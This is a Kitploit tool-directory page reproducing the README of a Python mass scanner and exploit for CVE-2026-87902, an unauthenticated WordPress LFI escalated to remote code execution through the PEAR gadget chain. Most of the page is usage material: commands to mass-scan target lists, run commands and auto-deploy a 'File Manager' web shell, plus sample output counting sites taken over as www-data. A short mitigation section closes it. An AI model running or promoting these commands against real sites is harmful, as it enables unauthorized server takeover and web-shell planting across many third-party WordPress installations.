Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-87902 β€” Python mass scanner and exploit for CVE-2026-87902, an unauthenticated WordPress core LFI in get_page_template() escalated to RCE via the PEAR gadget chain. | Kitploit
Tools/GitHubGitHub/mrdark-ops/cve-2026-87902
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHubmrdark-ops/cve-2026-87902

CVE-2026-87902

Python mass scanner and exploit for CVE-2026-87902, an unauthenticated WordPress core LFI in get_page_template() escalated to RCE via the PEAR gadget chain.

11 month agoNot yet reviewed
View Repository

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share
<div align="center">

# 🎯 CVE-2026-87902 β€” WordPress Core LFI β†’ RCE

<img src="https://img.shields.io/badge/CVE-2026--87902-critical-red?style=for-the-badge&amp;logo=wordpress" />
<img src="https://img.shields.io/badge/CVSS-9.8-darkred?style=for-the-badge" />
<img src="https://img.shields.io/badge/GHSA-7hp8--65ch--5whp-orange?style=for-the-badge" />
<img src="https://img.shields.io/badge/CWE--22-Path_Traversal-blue?style=for-the-badge" />

<img src="https://img.shields.io/badge/Author-HackfutSecRoot-purple?style=for-the-badge&amp;logo=github" />
<img src="https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge&amp;logo=python" />
<img src="https://img.shields.io/badge/License-MIT-green?style=for-the-badge" />

<br>

<img src="https://readme-typing-svg.demolab.com?font=Fira+Code&amp;size=22&amp;duration=3000&amp;pause=1000&amp;color=F75C7E%C2%A2er=true&amp;vCenter=true&amp;width=700&amp;lines=WordPress+get_page_template()+Unauthenticated+LFI;PEAR+gadget+chain+%E2%86%92+RCE+%E2%86%92+File+Manager;Mass+scanner+with+multi-threading" />

<br>

**[πŸ” Overview](#-overview) Β· [⚑ Quick Start](#-quick-start) Β· [🎯 Usage](#-usage) Β· [πŸ“Š Output](#-output) Β· [πŸ“ž Contact](#-contact)**

</div>

---

## πŸ” Overview

**CVE-2026-87902** is a critical **unauthenticated Local File Inclusion (LFI)** vulnerability in WordPress core that leads to **Remote Code Execution (RCE)** via the PEAR gadget chain.

The vulnerability resides in `wp-includes/template.php:get_page_template()`, which uses the public `pagename` query variable (read from `$_POST`) to construct a template name **without passing it through `validate_file()`**. Since `locate_template()` only performs `file_exists()`, a real `page-*` directory inside the active theme gives full path traversal.

### 🎯 Attack Chain

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ Anonymous POST │───▢│ LFI via │───▢│ PEAR Gadget β”‚ β”‚ page_id + β”‚ β”‚ page-templates/β”‚ β”‚ config-create β”‚ β”‚ pagename β”‚ β”‚ ../../../ β”‚ β”‚ writes shell β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ πŸ’€ RCE + β”‚ β”‚ File Manager β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜


### ⚠️ Affected Versions

| Product | Vulnerable | Patched |
|---------|-----------|---------|
| **WordPress Core** | `4.7.0` β†’ `7.1.1` | `7.1.2+` |
| **Severity** | πŸ”΄ **CRITICAL** | β€” |
| **CVSS 4.0** | **9.8** | β€” |
| **Authentication** | ❌ None required | β€” |

---

## ⚑ Quick Start

### πŸ“¦ Installation

```bash
# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only β€” no pip needed!)
python --version  # Requires Python 3.8+

πŸš€ First Run

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 Usage

πŸ“‹ Available Modes

Mode Command Description
πŸ” Check python main.py -l targets.txt --check Non-destructive LFI detection
πŸ’₯ LFI python main.py -l targets.txt Confirm LFI with OPML oracle
⚑ RCE python main.py -l targets.txt --rce --command "id" Execute commands via PEAR
πŸ“ Shell python main.py -l targets.txt --rce --shell Deploy File Manager

πŸ”§ Command Line Options

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

πŸ’‘ Examples

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

πŸ“Š Output

After a successful run, the following files are generated:

FileContents
πŸ“„ results.txtFull scan log
🎯 vulnerable.txtTargets with confirmed LFI
πŸ’€ rce.txtTargets with successful RCE
πŸ“ shells.txtFile Manager URLs

πŸ–₯️ Sample Console Output

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

πŸ›‘οΈ Mitigation

If you're a system administrator:

  1. Update WordPress to 7.1.2 or later
  2. Apply backports for your branch:
    • 6.8.10, 7.0.6, 7.1.2
  3. WAF Rule: Block requests with pagename containing ../ or %2e%2e
  4. Disable register_argc_argv in php.ini (blocks PEAR chain)
  5. Remove pearcmd.php if PEAR is not needed
; php.ini
register_argc_argv = Off

πŸ“ž Contact

🌐 Connect With Us

```
Download Tool